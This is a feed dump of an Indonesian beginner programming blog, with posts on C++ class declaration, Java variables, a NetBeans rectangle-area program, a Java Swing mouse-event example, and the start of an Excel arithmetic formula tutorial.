tag:blogger.com,1999:blog-22567604881145339692024-03-05T05:22:55.390-08:00Welcome To My blogAnonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.comBlogger13125tag:blogger.com,1999:blog-2256760488114533969.post-30284490651994232252014-12-12T16:40:00.001-08:002014-12-12T16:40:06.831-08:00Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-31536856107008446582014-12-12T16:39:00.001-08:002014-12-12T16:39:50.247-08:00Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-41791592283325733182012-10-21T01:13:00.003-07:002012-10-21T01:13:55.123-07:00Deklarasi class<h2 class="post-title entry-title">
<br />
</h2>
<br />
Pendefinisian kelas di C++. Dalam bagian ini, kita contohkan beberapa
kelas yang lazim kita temui dalam kehidupan sehari-hari. Mari kita
amati contoh lain dari kehidupan kita, dengan mendeklarasikan
sebuah kelas bernama BilanganRasional :<br />
<br />
class BilanganRasional<br />
{<br />
public :<br />
void assign (int,int);<br />
void cetak();<br />
private :<br />
int pembilang, penyebut;<br />
};<br />
<br />
<br />
Perhatikan contoh di atas. Untuk mendefinisikan sebuah kelas,
dipakai kata kunci class, diikuti dengan pendeklarasian nama kelas
tersebut. Fungsi assign() dan cetak() disebut member function (member
fungsi). Sedangkan variabel pembilang dan penyebut disebut member data
(member data atau member variabel). Disebut member karena
kesemuanya merupakan anggota dari kelas BilanganRasional.<br />
Perhatikan kata kunci Public dan Private. Member functions pada
contoh di atas dideklarasikan sebagai fungsi global, sedangkan member
data dideklarasikan sebagai lokal. Perbedaannya, member global dapat
diakses dari luar kelas, sedangkan member lokal hanya dapat diakses
dari kelas itu sendiri.<br />
<br />
Sekarang, dimana kita telah menciptakan kelas Bilangan Rasional,
kita dapat mendeklarasikan sebuah objek dari kelas BilanganRasional
sebagai berikut :<br />
<br />
BilanganRasional objekBilangan :<br />
<br />
Perhatikan bahwa disini objekBilangan merupakan nama dari objek
tersebut, dan BilanganRasional merupakan nama kelas yang ingin kita buat
objeknya. Proses pembuatan sebuah objek biasa disebut penginstansian
(bukan penginstalasian), dan sebuah objek disebut instans (instance)
dari sebuah kelas.<br />
- Untuk lebih jelasnya, perhatikan listing selengkapnya :<br />
#include <br />
#include <br />
class BilanganRasional<br />
{<br />
public :<br />
void assign (int,int);<br />
void cetak();<br />
private :<br />
int pembilang, penyebut;<br />
};<br />
void main()<br />
{<br />
//mendeklarasikan objekBilangan BilanganRasional objekBilangan;<br />
// member fungsi assign() dipanggil. <br />
objekBilangan.assign (22,7);<br />
// member fungsi cetak() dipanggil.<br />
ObjekBilangan.cetak();<br />
getch();<br />
}<br />
<br />
<br />
void BilanganRasional::assign(int pemb, int peny)<br />
{<br />
pembilang = pemb;<br />
penyebut = peny;<br />
}<br />
void BilanganRasional::cetak()<br />
{<br />
cout<
cout<
}<br />
<br />
<br />
Perhatikan blok main(). Sekarang Anda sudah mempunyai sebuah objek
bernama objekBilangan dari kelas BilanganRasional. Seperti Anda
lihat, pendeklarasian sebuah objek sama seperti mendeklarasikan
sebuah variabel. Atau dengan kata lain objekBilangan adalah sebuah objek
dengan tipe BilanganRasional. <br />
<br />
Sekarang, bagaimana memanggil fungsi dari sebuah objek? Hal ini
dapat dicapai dengan menghubungkan nama objek dan fungsi yang ingin
dipanggil dengan operator tanda titik (.). Sehingga untuk memanggil
fungsi assign(), dapat dilakukan dengan cara sebagai berikut :
objekBilangan.assign(22,7);<br />
<br />
Nilai 22 dan 7 merupakan parameter yang diterima oleh fungsi assign().
Di dalam fungsi tersebut, nilai 22 diinisialisasikan ke dalam member
data pembilang, dan nilai 7 diinisialisasikan ke dalam member data
penyebut. Sehingga bila fungsi cetak() dipanggil, maka akan diperoleh
hasil sebagai berikut :<br />
22 / 7Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-52220929762153198952012-10-21T00:46:00.003-07:002012-10-21T00:46:34.053-07:00Variabel di Java<h2 class="post-title entry-title">
<br />
</h2>
<br /><div class="content has_ad" style="color: purple;">
<div id="post_message_52321">
<blockquote class="postcontent restore">
Variabel
(peubah) adalah suatu lokasi di memori, di mana interpretasinya
bergantung pada kelas penyimpanan—yang ditentukan berdasarkan keyword
dan konteks deklarasinya—dan tipenya. Pada dasarnya, setiap variabel
memiliki nama (yang dikenal sebagai identifier), tipe, dan ruang
lingkup (scope) atau visibilitas (visibility).<br />
<br />
Secara umum, sebenarnya kita tidak akan mengalami kesulitan ketika
ingin mendeklarasikan suatu variabel. Meski demikian, alangkah baiknya
jika kita memahami aturan-aturan standar dan jenis-jenis variabel di
Java.<br />
<br />
* Deklarasi<br />
<br />
Deklarasi variabel dilakukan untuk menyimpan suatu penempatan di
memori, memberinya nama, dan mendefinisikan tipe data yang dapat
digunakan di variabel tersebut. Dengan demikian, deklarasi minimal
mendefinisikan tipe data dan nama (identifier).<br />
<br />
int i;<br />
<br />
int j;<br />
<br />
Pada kasus tipe referensi, deklarasi variabel mendeklarasikan variabel
object reference. Dalam konteks Java, referensi objek adalah sebuah
nilai yang menyatakan suatu objek.<br />
<br />
Point p;<br />
<br />
Sebenarnya kita juga bisa mendeklarasikan lebih dari satu variabel dalam satu baris, namun cara ini kurang disukai.<br />
<br />
int i, j;<br />
<br />
Tidak seperti bahasa C dan C++, yang membedakan istilah deklarasi dan
definisi, di Java tidak ada deklarasi yang terpisah dari definisi.<br />
<br />
* Jenis dan Scope<br />
<br />
Java mendefinisikan empat jenis variabel, meliputi variabel instans
(field nonstatis), variabel kelas (field statis), variabel lokal, dan
parameter.<br />
<br />
Java juga menggunakan istilah field, data member, dan member variable
yang mengacu pada variabel instans (instance) dan variabel kelas.
Selain itu, istilah variabel sendiri juga kerap digunakan, di mana ia
mengacu pada semua jenis variabel.<br />
<br />
Lokasi di mana suatu variabel dideklarasikan secara implisit juga
menetapkan ruang lingkupnya. Ruang lingkup variabel didefinisikan
sebagai blok kode di mana variabel dapat diacu melalui namanya. Dengan
demikian, ruang lingkup variabel instans dan variabel kelas mencakup
seluruh body kelas.<br />
<br />
* Inisialisasi<br />
<br />
Setelah mendeklarasikan variabel, kita juga bisa melanjutkan
inisialisasi untuk menspesifikasikan initial value bagi variabel.
Langkah ini dilakukan dengan menugaskan (meng-assign) nilai ke
variabel; proses ini dikenal sebagai penugasan (assignment).<br />
<br />
int i = 10;<br />
<br />
Dalam kasus variabel lokal, inisialisasi mutlak diperlukan sebelum
variabel dapat digunakan. Kondisi ini sangat kontras sekali dengan
field, di mana nilai default yang akan digunakan sebagai nilai awal
jika variabel tidak diinisialisasi. Penggunaan variabel lokal tanpa
inisialisasi berpotensi memicu kesalahaan saat kompilasi.<br />
<br />
* Access Modifier<br />
<br />
Access modifier (atau specifier) menyatakan apakah kelas-kelas lain
dapat menggunakan variabel member ataukah tidak. Dengan demikian, dalam
konteks variabel, konsep access modifier ini hanya dapat diterapkan
pada field saja.<br />
<br />
Ada empat tingkatan akses yang bisa kita gunakan untuk
menspesifikasikan visibilitas suatu variabel: private, default (tidak
dispesifikasikan), protected, dan public.<br />
<br />
Access Modifier<br />
<br />
<br />
Visibilitas<br />
private Variabel hanya bisa diakses dari kelas yang mendeklarasikannya (current kelas).<br />
Default Variabel dapat diakses dari current kelas dan paket.<br />
protected Variabel dapat diakses dari current kelas, subkelas, dan paket.<br />
public Variabel bisa diakses oleh siapa saja, baik current kelas ataupun kelas lain.<br />
<br />
Strategi dalam menetapkan visibilitas variabel adalah menggunakan access modifier dengan tingkatan paling rendah (private).</blockquote>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-33077434699178029692012-10-21T00:42:00.005-07:002012-10-21T00:42:58.817-07:00 Menghitung Luas Persegi Panjang Dengan NetBeans<h2 class="post-title entry-title">
<a href="http://artikelkomputer-anita.blogspot.com/2010/10/menghitung-luas-persegi-panjang-dengan.html"></a>
</h2>
<div class="postmetadata">
<span class="post-author vcard">
Diposkan oleh
<span class="fn">blogqu</span>
</span> |
</div>
<div class="post_date">
undefined<div>
undefined</div>
</div>
String menghitung="";<br />
int panjg=0;<br />
int lebar=0;<br />
int luaspersegipanjang=0;<br />
String input1="";<br />
String input2="";<br />
String hasil="";<br />
<br />
menghitung=JOptionPane.showInputDialog("Harus Memasukkan Nama Jika Ingin Menghitung !!! = " );<br />
<br />
System.out.println("Mari kita menghitung Luas Persegi Panjang");<br />
<span style="color: lime;">input1</span>=<span style="color: blue;">JOptionPane.showInputDialog(" Panjang (cm) = " );</span><br />
<span style="color: lime;">input2</span>=<span style="color: red;">JOptionPane.showInputDialog("Lebar (cm) = ");</span><br />
<span style="color: lime;">panjg</span>=<span style="color: #fff2cc;">Integer.parseInt(input1);</span><br />
<span style="color: lime;">lebar</span>=<span style="color: #eeeeee;">Integer.parseInt(input2);</span><br />
<span style="color: lime;">hasil </span><span style="color: red;">+</span>=<span style="color: lime;">(menghitung)+(" Menghitung Luas Persegi Panjang")+"\n";</span><br />
<span style="color: lime;">hasil</span> <span style="color: red;">+</span>="<span style="color: #f3f3f3;">Panjang ="+Integer.toString(panjg)+"\n";</span><br />
<span style="color: lime;">hasil</span> <span style="color: red;">+</span>=<span style="color: #f3f3f3;">"Lebar = "+Integer.toString(lebar)+"\n";</span><br />
<span style="color: lime;">luaspersegipanjang</span>=<span style="color: red;">panjg*lebar;</span><br />
<span style="color: lime;">hasil</span> <span style="color: red;">+</span>=<span style="color: blue;">"Luas Persegi Panjang = "+Integer.toString(luaspersegipanjang);</span><br />
<span style="color: #990000;">JOptionPane.showMessageDialog(null,hasil);<br />
System.exit(0);<br />
}<br />
}</span><br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSe6_NN0O2-G4hIoINzifpnxGOuhn9RFY89oV0XvsHT1EarU8xIRaA5yleJbFT9B6Sh4Q3K-wAZcfDwEomdQg606Fd8goLDOlwVWHmL1JTV9bOPGsTTwLaeGfMvgTUKl5AoZkAvCYOhl8/s1600/nama.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSe6_NN0O2-G4hIoINzifpnxGOuhn9RFY89oV0XvsHT1EarU8xIRaA5yleJbFT9B6Sh4Q3K-wAZcfDwEomdQg606Fd8goLDOlwVWHmL1JTV9bOPGsTTwLaeGfMvgTUKl5AoZkAvCYOhl8/s320/nama.gif" width="320" /></a></div>
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDHhfNogikO2pKoQgJiJIn-5koqnmPrevTWc6evxD8oqb5LGtbir-4Ip2Xc6m6x8NP6Uc-GTdjnV7JIRTAuC3dE3hMKmNxnWDpkungFSihyphenhyphen0uneFdWukmmPYxSdVVazUSkM2Uobv3BjdI/s1600/Panjang.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDHhfNogikO2pKoQgJiJIn-5koqnmPrevTWc6evxD8oqb5LGtbir-4Ip2Xc6m6x8NP6Uc-GTdjnV7JIRTAuC3dE3hMKmNxnWDpkungFSihyphenhyphen0uneFdWukmmPYxSdVVazUSkM2Uobv3BjdI/s1600/Panjang.gif" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW5aGYf94QU8qGFXJIrDjpSjyH8eBmEuec7bYChGRo7S2vrr0QRzZbcYpZ38Yx1K-peqGJaGNVzuA_-OUWvW2NmwDSM6_dYl6-3lKMErdlbeBLpsW4Mu9XAT8PKBs_a0uywShM37feFkc/s1600/luas.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW5aGYf94QU8qGFXJIrDjpSjyH8eBmEuec7bYChGRo7S2vrr0QRzZbcYpZ38Yx1K-peqGJaGNVzuA_-OUWvW2NmwDSM6_dYl6-3lKMErdlbeBLpsW4Mu9XAT8PKBs_a0uywShM37feFkc/s1600/luas.gif" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy32LLsI75qRLbhqhMc8VvNrRtzWMtAr17LB_ZshkFck66N6oonG_umYT3kMb0ST1X4snwexAaSj0oZfpCiFJ3OzXu-ehSUgoU-nUf0Xe3aOHp8O0aBwNIIZnLdmTWM2-Y_o_pQ-u6TQw/s1600/hasil.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy32LLsI75qRLbhqhMc8VvNrRtzWMtAr17LB_ZshkFck66N6oonG_umYT3kMb0ST1X4snwexAaSj0oZfpCiFJ3OzXu-ehSUgoU-nUf0Xe3aOHp8O0aBwNIIZnLdmTWM2-Y_o_pQ-u6TQw/s1600/hasil.gif" /></a></div>
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-19497433638121789452012-10-20T00:33:00.005-07:002012-10-20T00:33:56.233-07:00<h1 id="post-158" style="text-align: center;">
<a href="http://contohprogram.info/java/mouse-event-di-java.html" rel="bookmark" title="Contoh Program Mouse Event di Java">Mouse Event di Java</a></h1>
<div class="post-meta-top">
<div class="date">
<br /></div>
</div>
<div class="icon" style="float: left; text-align: center;">
</div>
<br />
<a href="http://contohprogram.info/category/java" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;" title="Java"><img alt="" src="http://contohprogram.info/wp-content/uploads/2010/10/contoh-program-java.jpg" title="Java" /></a><br />
<br />
Berikut ini contoh program penanganan event terkait mouse. Terdapat
dua listener terkait dengan event mouse yaitu MouseListener dan
MouseMotionListener.<br />
Berikut ini tampilannya:<br />
<img alt="contoh-program-mouse-event-java" class="aligncenter size-full wp-image-159" height="92" src="http://contohprogram.info/wp-content/uploads/2010/11/contoh-program-mouse-event-java.png" title="contoh-program-mouse-event-java" width="336" /><br />
<span id="more-158"></span><br />
Berikut ini program lengkapnya:<br />
<div class="syntaxhighlighter " id="highlighter_311571">
<div class="lines">
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>01</code></td><td class="content"><code class="keyword">import</code> <code class="plain">java.awt.*;</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>02</code></td><td class="content"><code class="keyword">import</code> <code class="plain">java.awt.event.*;</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>03</code></td><td class="content"><code class="keyword">import</code> <code class="plain">javax.swing.*;</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>04</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>05</code></td><td class="content"><code class="keyword">public</code> <code class="keyword">class</code> <code class="plain">MouseEventHandling </code><code class="keyword">extends</code> <code class="plain">JFrame</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>06</code></td><td class="content"><code class="spaces"> </code><code class="keyword">implements</code> <code class="plain">MouseListener, MouseMotionListener {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>07</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>08</code></td><td class="content"><code class="spaces"> </code><code class="keyword">private</code> <code class="plain">JLabel statusBar;</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>09</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>10</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="plain">MouseEventHandling () {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>11</code></td><td class="content"><code class="spaces"> </code><code class="keyword">super</code> <code class="plain">(</code><code class="string">"Mencoba Beberapa Mouse Event Handling"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>12</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>13</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar = </code><code class="keyword">new</code> <code class="plain">JLabel();</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>14</code></td><td class="content"><code class="spaces"> </code><code class="plain">getContentPane().add(statusBar,BorderLayout.SOUTH);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>15</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>16</code></td><td class="content"><code class="spaces"> </code><code class="plain">addMouseListener (</code><code class="keyword">this</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>17</code></td><td class="content"><code class="spaces"> </code><code class="plain">addMouseMotionListener (</code><code class="keyword">this</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>18</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>19</code></td><td class="content"><code class="spaces"> </code><code class="plain">setSize (</code><code class="value">300</code><code class="plain">,</code><code class="value">100</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>20</code></td><td class="content"><code class="spaces"> </code><code class="plain">setLocationRelativeTo(</code><code class="keyword">null</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>21</code></td><td class="content"><code class="spaces"> </code><code class="plain">setVisible(</code><code class="keyword">true</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>22</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>23</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>24</code></td><td class="content"><code class="spaces"> </code><code class="comments">//MouseListener event handler</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>25</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseClicked (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>26</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Clicked at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>27</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>28</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>29</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mousePressed (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>30</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Pressed at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>31</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>32</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>33</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseReleased (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>34</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Released at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>35</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>36</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>37</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseEntered (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>38</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Entered at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>39</code></td><td class="content"><code class="spaces"> </code><code class="plain">getContentPane().setBackground(Color.GREEN);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>40</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>41</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>42</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseExited (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>43</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Mouse outside window"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>44</code></td><td class="content"><code class="spaces"> </code><code class="plain">getContentPane().setBackground(Color.WHITE);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>45</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>46</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>47</code></td><td class="content"><code class="spaces"> </code><code class="comments">//MouseMotionListener event handler</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>48</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseDragged (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>49</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Dragged at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>50</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>51</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>52</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">void</code> <code class="plain">mouseMoved (MouseEvent e) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>53</code></td><td class="content"><code class="spaces"> </code><code class="plain">statusBar.setText(</code><code class="string">"Moved at ["</code><code class="plain">+ e.getX() + </code><code class="string">","</code> <code class="plain">+ e.getY() + </code><code class="string">"]"</code><code class="plain">);</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>54</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>55</code></td><td class="content"> </td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>56</code></td><td class="content"><code class="spaces"> </code><code class="keyword">public</code> <code class="keyword">static</code> <code class="keyword">void</code> <code class="plain">main (String args[]) {</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>57</code></td><td class="content"><code class="spaces"> </code><code class="plain">MouseEventHandling test = </code><code class="keyword">new</code> <code class="plain">MouseEventHandling();</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>58</code></td><td class="content"><code class="spaces"> </code><code class="plain">test.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);</code></td></tr>
</tbody></table>
</div>
<div class="line alt1">
<table><tbody>
<tr><td class="number"><code>59</code></td><td class="content"><code class="spaces"> </code><code class="plain">}</code></td></tr>
</tbody></table>
</div>
<div class="line alt2">
<table><tbody>
<tr><td class="number"><code>60</code></td><td class="content"><code class="plain">}</code></td></tr>
</tbody></table>
</div>
</div>
</div>
Semoga bermanfaat<br />
<div id="crp_related">
<br /></div>
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-62548462309338884752012-10-20T00:10:00.002-07:002012-10-20T00:10:24.615-07:00BELAJAR Excel NYOK !!<h3 class="post-title entry-title" itemprop="name" style="text-align: center;">
<span style="color: lime;">Rumus Excel Pengurangan, Penjumlahan, Pembagian, Perkalian</span>
</h3>
<div class="post-header">
</div>
<hr color="”#ff0000”" size="”4″" width="”75%”" />
<strong>Rumus Excel -+/*</strong><blockquote>
Rumus
Matematika dengan operator hitung tambah, kurang, bagi, dan kali.
Walaupun sekarang sudah banyak program program yang dibuat dengan bahasa
pemograman, tapi nyatanya Microsof Excel masih banyak yang memakainya.
Karena untuk memakai program ini orang hanya perlu sedikit memakai
rumus dan logika tanpa mempelajari bahasa pemograman secara terlalu
mendalam.</blockquote>
<br />Bagaimana penggunaan operator rumus dasar tersebut pada Ms. Excel? mari kita bahasa satu persatu.<br /><br />Operator tambah <span style="color: red;">( + )</span><br />Operator kurang <span style="color: lime;">( - )</span><br />Operator bagi<span style="background-color: #eeeeee;"> ( / )<span></span></span><br />Operator kali <span style="color: magenta;"> ( * )</span><br /><br /><b>Lihat tabel data di bawah ini</b><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgujVhWc9EO72Ydk3HBDXANs7NRGzi7thER9Fpe_HkgCIFp27DC-HTir0niJ26tk2ZdbrTSzz1D1ECYC9GsGt77u1RrJdDceLjHAPSY2ROSiKyiWK76VcMTy0n0DJpF29VsjIWXV5fWb5o/s1600/FORMULA+EXCEL+TAMBAH+KURANG+BAGI+KALI.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5748960933013857522" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgujVhWc9EO72Ydk3HBDXANs7NRGzi7thER9Fpe_HkgCIFp27DC-HTir0niJ26tk2ZdbrTSzz1D1ECYC9GsGt77u1RrJdDceLjHAPSY2ROSiKyiWK76VcMTy0n0DJpF29VsjIWXV5fWb5o/s400/FORMULA+EXCEL+TAMBAH+KURANG+BAGI+KALI.jpg" style="cursor: hand; cursor: pointer; height: 135px; width: 400px;" /></a><br /><br />Untuk
mengisi rumus pada tabel tersebut kita harus menggunakan rumus pada
cells C3, D3, E3, F3. Artinya jika kita akan menambahkan data 1 data 2
